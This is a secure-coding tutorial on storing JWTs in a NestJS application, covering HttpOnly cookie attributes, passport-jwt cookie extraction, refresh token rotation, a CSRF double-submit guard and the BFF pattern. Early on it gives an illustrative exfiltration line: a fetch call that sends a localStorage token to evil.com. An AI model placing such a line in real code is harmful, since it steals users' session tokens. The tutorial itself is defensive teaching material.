When a user logs into an application, the server issues a token — proof that this person is authenticated. The token needs to be stored somewhere on the browser side so it can be attached to every request. Where it is stored directly affects security: a poor choice — and the token leaks to an attacker.
Why localStorage is not suitable
The most obvious way is localStorage. It's simple, accessible from any JS code, and persists across tabs. That is exactly why it is often used in tutorials.
The problem is that same property: accessible from any JS code. If a foreign script runs on the page — through an XSS injection, a compromised npm package, or a third-party CDN — it reads localStorage with ease:
// don't do this
localStorage.setItem('access_token', accessToken);
// the attacker does this:
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));
An additional issue: localStorage is persistent. The token stays there after the tab is closed, after the browser is restarted — until it is explicitly removed.
The right place for a token is an HttpOnly cookie, which the browser stores and sends itself, but which JavaScript cannot see.
HttpOnly cookies — how it works
The browser can store a cookie in a way that scripts on the page have no access to it. For this the server adds the HttpOnly attribute when setting the cookie through the Set-Cookie header.
In NestJS a cookie is set through the response object:
// auth.controller.ts
@Controller('auth')
export class AuthController {
constructor(private readonly authService: AuthApplicationService) {}
@Public()
@Post('login')
async login(
@Body() cmd: LoginCommand,
@Res({ passthrough: true }) res: Response,
): Promise<void> {
const tokens = await this.authService.login(cmd);
res.cookie('access_token', tokens.accessToken, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/',
maxAge: 15 * 60 * 1000, // 15 minutes
});
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'lax',
path: '/auth/refresh', // for the refresh endpoint only
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
});
}
}
Three attributes are mandatory as a set:
httpOnly: true— JavaScript cannot read the cookie. Protection against XSS.secure: true— the browser sends the cookie only over HTTPS. Protection against interception on the network.sameSite: 'lax'— the browser does not attach the cookie to requests from other sites via POST. Partial protection against CSRF.
The path: '/auth/refresh' attribute for the refresh token means the browser will send this cookie only to this specific endpoint, not to all API requests.
Without maxAge the cookie becomes a "session" cookie — the browser deletes it when the window is closed, which is inconvenient for the user. An explicit lifetime is better.
sameSite: 'strict' is stricter, but it breaks the scenario "followed a link from an email — landed unauthenticated". 'lax' is a reasonable compromise.
How NestJS reads the cookie from the request
When the token is stored in a cookie, passport-jwt needs to be told where to look for it. By default the strategy looks for Authorization: Bearer in the header. You need to add extraction from the cookie:
// jwt.strategy.ts
@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
constructor(config: AppConfig) {
super({
jwtFromRequest: ExtractJwt.fromExtractors([
(req: Request) => req?.cookies?.['access_token'] ?? null,
ExtractJwt.fromAuthHeaderAsBearerToken(), // for service-to-service requests
]),
algorithms: ['RS256'],
audience: config.auth.audience,
issuer: config.auth.issuer,
secretOrKeyProvider: passportJwtSecret({
jwksUri: config.auth.jwksUri,
cache: true,
cacheMaxAge: 300_000,
rateLimit: true,
}),
});
}
validate(claims: Record<string, unknown>): Principal {
return { sub: claims['sub'] as string, roles: extractRoles(claims) };
}
}
The order of the extractors matters: first we try the cookie (for SPA clients), then Authorization (for requests between services).
For NestJS to be able to read cookies at all, you need cookie-parser:
// main.ts
import * as cookieParser from 'cookie-parser';
async function bootstrap() {
const app = await NestFactory.create(AppModule);
app.use(cookieParser());
await app.listen(3000);
}
Without it req.cookies will be undefined, and the strategy won't find the token.
Refresh token rotation — why and how
The access token lives 15 minutes — deliberately short. The refresh token lives longer (for example, 7 days) and is needed only to obtain a new access token without forcing the user to log in again.
Rotation means: on each refresh the old refresh token is invalidated and the client gets a new one. This gives an important property: if an attacker has stolen someone's refresh token, its use is detected instantly.
Here is what the scheme looks like:
T=0 Login → access_token (15 min) + refresh_token RT-1 (7 days)
T=15m POST /auth/refresh [cookie: RT-1] → new access_token + RT-2
RT-1 marked as used
T=30m POST /auth/refresh [cookie: RT-2] → new access_token + RT-3
RT-2 marked as used
T=31m The attacker found RT-2 and tries to use it
→ RT-2 already used → the whole chain is invalidated → the user is logged out
The token refresh endpoint in NestJS:
@Public()
@Post('refresh')
async refresh(
@Req() req: Request,
@Res({ passthrough: true }) res: Response,
): Promise<void> {
const oldRt: string | undefined = req.cookies?.['refresh_token'];
if (!oldRt) throw new UnauthorizedException();
const tokens = await this.authService.refresh(oldRt);
res.cookie('access_token', tokens.accessToken, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/', maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', tokens.refreshToken, {
httpOnly: true, secure: true, sameSite: 'lax', path: '/auth/refresh',
maxAge: 7 * 24 * 60 * 60 * 1000,
});
}
The rotation logic lives in authService.refresh. If Keycloak is used, it supports rotation out of the box: a repeated call with an already-used refresh token returns 400 invalid_grant.
CSRF protection
Even with SameSite=Lax there are scenarios where the browser still sends the cookie — for example, cross-site GET requests. For critical actions you add an extra check.
The classic technique is double-submit: the server issues a CSRF token in a separate cookie without httpOnly (so JS can read it). The client reads this value and sends it in the X-XSRF-TOKEN header. The server compares the cookie and the header:
// csrf.guard.ts
@Injectable()
export class CsrfGuard implements CanActivate {
canActivate(ctx: ExecutionContext): boolean {
const req = ctx.switchToHttp().getRequest<Request>();
const cookieToken: string | undefined = req.cookies?.['XSRF-TOKEN'];
const headerToken = req.headers['x-xsrf-token'] as string | undefined;
if (!cookieToken || cookieToken !== headerToken) throw new ForbiddenException('invalid csrf');
return true;
}
}
An attacker cannot forge this header: they don't know the value of XSRF-TOKEN (from a foreign site you can't read our domain's cookie), so they can't assemble a valid request.
BFF — an alternative approach
There is one more option: BFF (Backend For Frontend). NestJS keeps the tokens on its side (in Redis), and the browser gets only an ordinary session identifier in a cookie. The browser never sees the JWT at all:
Browser (cookie: SESSION=abc123)
↓
NestJS BFF (in Redis: abc123 → { accessToken: ..., refreshToken: ... })
↓ the BFF itself adds Authorization: Bearer <accessToken>
Internal APIs (OrderService, ProductService, ...)
Pros: tokens are fully isolated from the browser, centralized session management, force-logout at any moment.
Cons: the server keeps state (Redis is required), and the BFF is separate infrastructure.
For most services it's simpler to store the JWT in an HttpOnly cookie (stateless). A BFF is justified when you need strict session management or you already use Redis for other reasons.
Common mistakes
JWT in localStorage — any XSS reads the token. Use res.cookie(...) with httpOnly: true.
Cookie without secure — the token can be intercepted by a network middleman. Always add secure: true.
Cookie without sameSite — without this attribute the browser sends the cookie on any cross-site request. At minimum — 'lax'.
Refresh cookie with path: '/' — the refresh token will be attached to all API requests, widening the attack surface. Restrict it to the path /auth/refresh.
cookie-parser not connected — req.cookies will be undefined, the strategy won't find the token, and all requests get 401.
Refresh without rotation — if the refresh token is not invalidated after use, its theft is not detected until it expires.
In short
localStorageis not allowed — any XSS script or compromised npm package reads it without restriction.- HttpOnly cookie — the browser sends it itself, and JavaScript has no access to it.
- Three mandatory attributes:
httpOnly: true,secure: true,sameSite: 'lax'. - Refresh cookies are restricted to the path
/auth/refreshso they aren't attached to every request. - Refresh token rotation: on each refresh the old token is invalidated; reusing the old token invalidates the whole chain.
cookie-parseris mandatory inmain.ts, otherwisereq.cookiesis empty.- CSRF double-submit: a CSRF token in a non-HttpOnly cookie + the same token in the
X-XSRF-TOKENheader. - BFF — the option where the JWT is stored entirely on the server in Redis and the browser sees only a session identifier.
What to read next
- JWT validation — how
passport-jwtandjwks-rsaverify the signature and claims. - Service-to-service — requests between services don't use cookies, only Bearer or mTLS.
- RBAC: role mapping — how roles from JWT claims reach the
Principal. - PII and secrets — tokens are secrets, and they are not logged.